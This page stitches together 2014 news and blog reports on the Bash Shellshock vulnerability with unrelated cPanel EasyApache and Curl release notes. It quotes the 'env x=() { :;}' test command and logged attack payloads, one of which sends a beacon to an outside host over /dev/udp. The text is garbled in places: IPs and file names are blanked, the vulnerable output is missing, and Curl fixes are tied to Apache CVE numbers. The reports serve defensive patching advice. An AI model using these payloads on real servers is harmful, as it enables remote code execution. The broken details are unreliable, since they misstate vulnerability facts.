Hackers thrash Bash Shellshock bug: World races to cover hole

Sysadmins and users have been urged to patch the severe Shellshock vulnerability in Bash on Linux and Unix systems – as hackers ruthlessly exploit the flaw to compromise or crash computers.

But as “millions” of servers, PCs and devices lay vulnerable or are being updated, it’s emerged the fix is incomplete.

The flaw affects the GNU Bourne Again Shell – better known as Bash – which is a widely installed command interpreter used by many Linux and Unix operating systems – including Apple’s OS X.

It allows miscreants to remotely execute arbitrary code on systems ranging from web servers, routers, servers and Macs to various embedded devices that use Bash, and anything else that uses the flawed open-source shell.

An attacker needs to inject his or her payload of code into the environment variables of a running process – and this is surprisingly easy to do, via Apache CGI scripts, DHCP options, OpenSSH and so on. When that process or its children invoke Bash, the code is picked up and executed.

The Bash flaw – designated CVE-2014-6271 – is being exploited in the wild against web servers, which are the most obvious targets but not by any means the only machines at risk.

Patches released on Wednesday by Linux vendors, the upstream maintainer of Bash, and others for OS X, blocked these early attacks, but it’s understood they do not completely protect Bash from code injection via environment variables.

New packages of Bash were rolled out on the same day, but further investigation made it clear that the patched version is still exploitable, and at the very least can be crashed due to a null-pointer exception. The incomplete fix is being tracked as CVE-2014-7169.

Red Hat, at time of writing, is urging people to upgrade to the version of Bash that fixes the first reported security hole, and not wait for the patch that fixes the secondary lingering vulnerability – designated CVE-2014-7169.

“CVE-2014-7169 is a less severe issue and patches for it are being worked on,” the Linux maker said.

Meanwhile, although Ubuntu and other Debian-based distros have moved to using the non-vulnerable Dash over Bash, the latter may well be present or in use by user accounts. Above all, check what shell interpreters are installed, who is using them, and patch CVE-2014-6271 immediately.

By John Leyden, 25 Sep 2014

Bash Vulnerability – Shell Shock – Thousands of cPanel Sites are High Risk

The team behind the Bash project (the most common shell used on Linux) recently issued a patch for a serious vulnerability that could allow for remote command execution on servers running the vulnerable bash versions.

Wait, remote command execution on bash? You are likely asking yourself, “How can someone remotely execute commands on a local shell?”

The issue starts with mod_cgi and how web servers interact with CGI programs (that could be written in Perl, PHP, Shell scripting or any other language). The web server passes (environment) user variables to them so they can do their work. In simple terms, this vulnerability allows an attacker to pass a command as a variable that gets executed by bash.

It means that if you are using mod_cgi on your webserver and you have a CGI written in shell script, you are in deep trouble. Drop everything now and patch your servers.

If you have CGI’s written on any other language, but you are using “system()”, “(backticks)” or executing any commands from the CGI, you are in deep trouble. Drop everything now and patch your servers.

If you don’t know what you have, Drop everything now and patch your servers.

Who is vulnerable?

Almost every server in the Internet is vulnerable to it (every server has Bash). But not all sites are actually exploitable.

I mean, who really still uses mod_cgi instead of mod_php/fast_cgi that would be safe? Or who would write a CGI in shell scripting?

cPanel users at Risk

Well, turns out cPanel does that for some of their internal tools.

As we started to scan our clients sites (and the Internet as a whole) we found that about 2.9% of all sites we scanned were vulnerable to this problem. All of them were running cPanel and had these 2 files available:

When we talk about millions of websites online, 2.9% is a lot. Just from our investigation, we found thousands of websites vulnerable and easily compromised.

If you are using cPanel, you have to patch your servers right away (or remove these files from the server)!

For Sucuri clients, sites behind our Website Firewall / WAF are already protected against it.

But we still recommend patching.

Attacks in the Wild

We are seeing many scans for this vulnerability in the wild, but mostly coming from security researchers trying to understand the severity of it (nothing really bad yet). So far, these two IP addresses (, are hitting every site they can, trying to trigger the vulnerability – – [25/Sep/2014:06:28:47 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444″ – – [25/Sep/2014:07:49:36 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq”

We have not detected any massive scans looking for real CGI that would be vulnerable (that’s where the problem lies).

Even if you are using mod_php for your web application (like WordPress or Joomla), you have to make sure that mod_cgi is not enabled for things like your cpanel backend or Plesk or any other management tool.

In a few more days we will see real scans and actual attacks attempting to exploit this Shell Shock vulnerability.

NIX System Administrators

You’re in luck with this one, identifying if you’re vulnerable is easier than previous vulnerabilities. Log into your server and via terminal run this command:
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’

If you are vulnerable it will return:
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’

To fix it will depend on your NIX distribution but you will want to reinstall or update, which ever you prefer:
#sudo apt-get install bash

– or –

#sudo yum update bash

Once complete, rerun the test and you will get:
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’

By Daniel Cid on September 25, 2014

Bug in Bash shell creates big security hole on anything with *nix in it

UPDATE, 9/25: The Bash vulnerability, now dubbed by some as “Shellshock,” has been reportedly found in use by an active exploit against Web servers. Additionally, the initial patch for the vulnerability was incomplete and still allows for attacks to succeed, according to a new CERT alert. See Ars’ latest report for further details, our initial report is below.

A security vulnerability in the GNU Bourne Again Shell (Bash), the command-line shell used in many Linux and Unix operating systems, could leave systems running those operating systems open to exploitation by specially crafted attacks. “This issue is especially dangerous as there are many possible ways Bash can be called by an application,” a Red Hat security advisory warned.

The bug, discovered by Stephane Schazelas, is related to how Bash processes environmental variables passed by the operating system or by a program calling a Bash-based script. If Bash has been configured as the default system shell, it can be used by network–based attackers against servers and other Unix and Linux devices via Web requests, secure shell, telnet sessions, or other programs that use Bash to execute scripts.

Because of its wide distribution, the vulnerability could be as wide-ranging as the Heartbleed bug, though it may not be nearly as dangerous. The vulnerability affects versions 1.14 through 4.3 of GNU Bash. Patches have been issued by many of the major Linux distribution vendors for affected versions, including:
•Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
•CentOS (versions 5 through 7)
•Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS

A test on Mac OS X 10.9.4 (“Mavericks”) by Ars showed that it also has a vulnerable version of Bash. Apple has not yet patched Bash, though it just issued an update to “command line tools.”

While Bash is often thought of just as a local shell, it is also frequently used by Apache servers to execute CGI scripts for dynamic content (through mod_cgi and mod_cgid). A crafted web request targeting a vulnerable CGI application could launch code on the server. Similar attacks are possible via OpenSSH, which could allow even restricted secure shell sessions to bypass controls and execute code on the server. And a malicious DHCP server set up on a network or running as part of an “evil” wireless access point could execute code on some Linux systems using the Dynamic Host Configuration Protocol client (dhclient) when they connect.

There are other services that run on Linux and Unix systems, such as the CUPS printing system, that are similarly dependent on Bash that could be vulnerable.

There is an easy test to determine if a Linux or Unix system is vulnerable. To check your system, from a command line, type:
env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system is vulnerable, the output will be:
this is a test

An unaffected (or patched) system will output:
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
this is a test

The fix is an update to a patched version of the Bash shell. To be safe, administrators should do a blanket update of their versions of Bash in any case.

Sean Gallagher / Sean is Ars Technica’s IT Editor. A former Navy officer, systems administrator, and network systems integrator with 20 years of IT journalism experience, he lives and works in Baltimore, Maryland.
@thepacketrat on Twitter

EasyApache to Install Apache 2.4 in Basic Profile – 60 Day Notice

In approximately 60 days, the Basic profile in EasyApache will build Apache 2.4 by default. This change will not alter existing EasyApache profiles that build Apache 2.2. If you plan to update from an existing Apache 2.2 installation to Apache 2.4, we strongly recommend that you build in a test environment before you migrate Apache versions on a production server.

Review the following links for more information on the differences between Apache 2.2 and 2.4:



cPanel EasyApache 3.26.8 Released

cPanel, Inc. has released EasyApache 3.26.8 with Curl version 7.38. This release addresses vulnerabilities related to CVE-2014-3613 and CVE-2014-3620.

All versions of Curl 7.1 through 7.37.1

The National Vulnerability Database (NIST) has given the following severity ratings to these CVEs:

CVE-2014-3613 – MEDIUM

Curl 7.38
Fixed bug in libcurl related to CVE-2014-0118.

CVE-2014-3620 – MEDIUM

Curl 7.38
Fixed bug in libcurl related to CVE-2014-0231.

cPanel, Inc. has released EasyApache 3.26.8 with an updated version of Curl to correct these issues. Unless you have disabled EasyApache updates, EasyApache updates automatically. Run EasyApache to rebuild your profile with the latest version of Curl.


cPanel EasyApache 3.26.7 Released

cPanel, Inc. has released EasyApache 3.26.7 with Apache version 2.2.29. This release addresses vulnerabilities CVE-2014-0118, CVE-2014-0231, CVE-2014-0226 and CVE-2013-5704. We encourage all Apache 2.2 users to upgrade to Apache version 2.2.29.

All versions of Apache 2.2 before version 2.2.29.

The National Vulnerability Database (NIST) has given the following severity ratings to these CVEs:

CVE-2014-0118 – MEDIUM

Apache 2.2.29
Fixed bug in the Deflate module related to CVE-2014-0118.

CVE-2014-0231 – MEDIUM

Apache 2.2.29
Fixed bug in the CGID module related to CVE-2014-0231.

CVE-2014-0226 – MEDIUM

Apache 2.2.29
Fixed a race condition related to CVE-2014-0226.

CVE-2013-5704 – MEDIUM

Apache 2.2.29
Fixed a bug in the Headers module related to CVE-2013-5704.

cPanel, Inc. has released EasyApache 3.26.7 with an updated version of Apache 2.2 to correct these issues. Unless you have disabled EasyApache updates, EasyApache updates automatically. Run EasyApache to rebuild your profile with the latest version of Apache.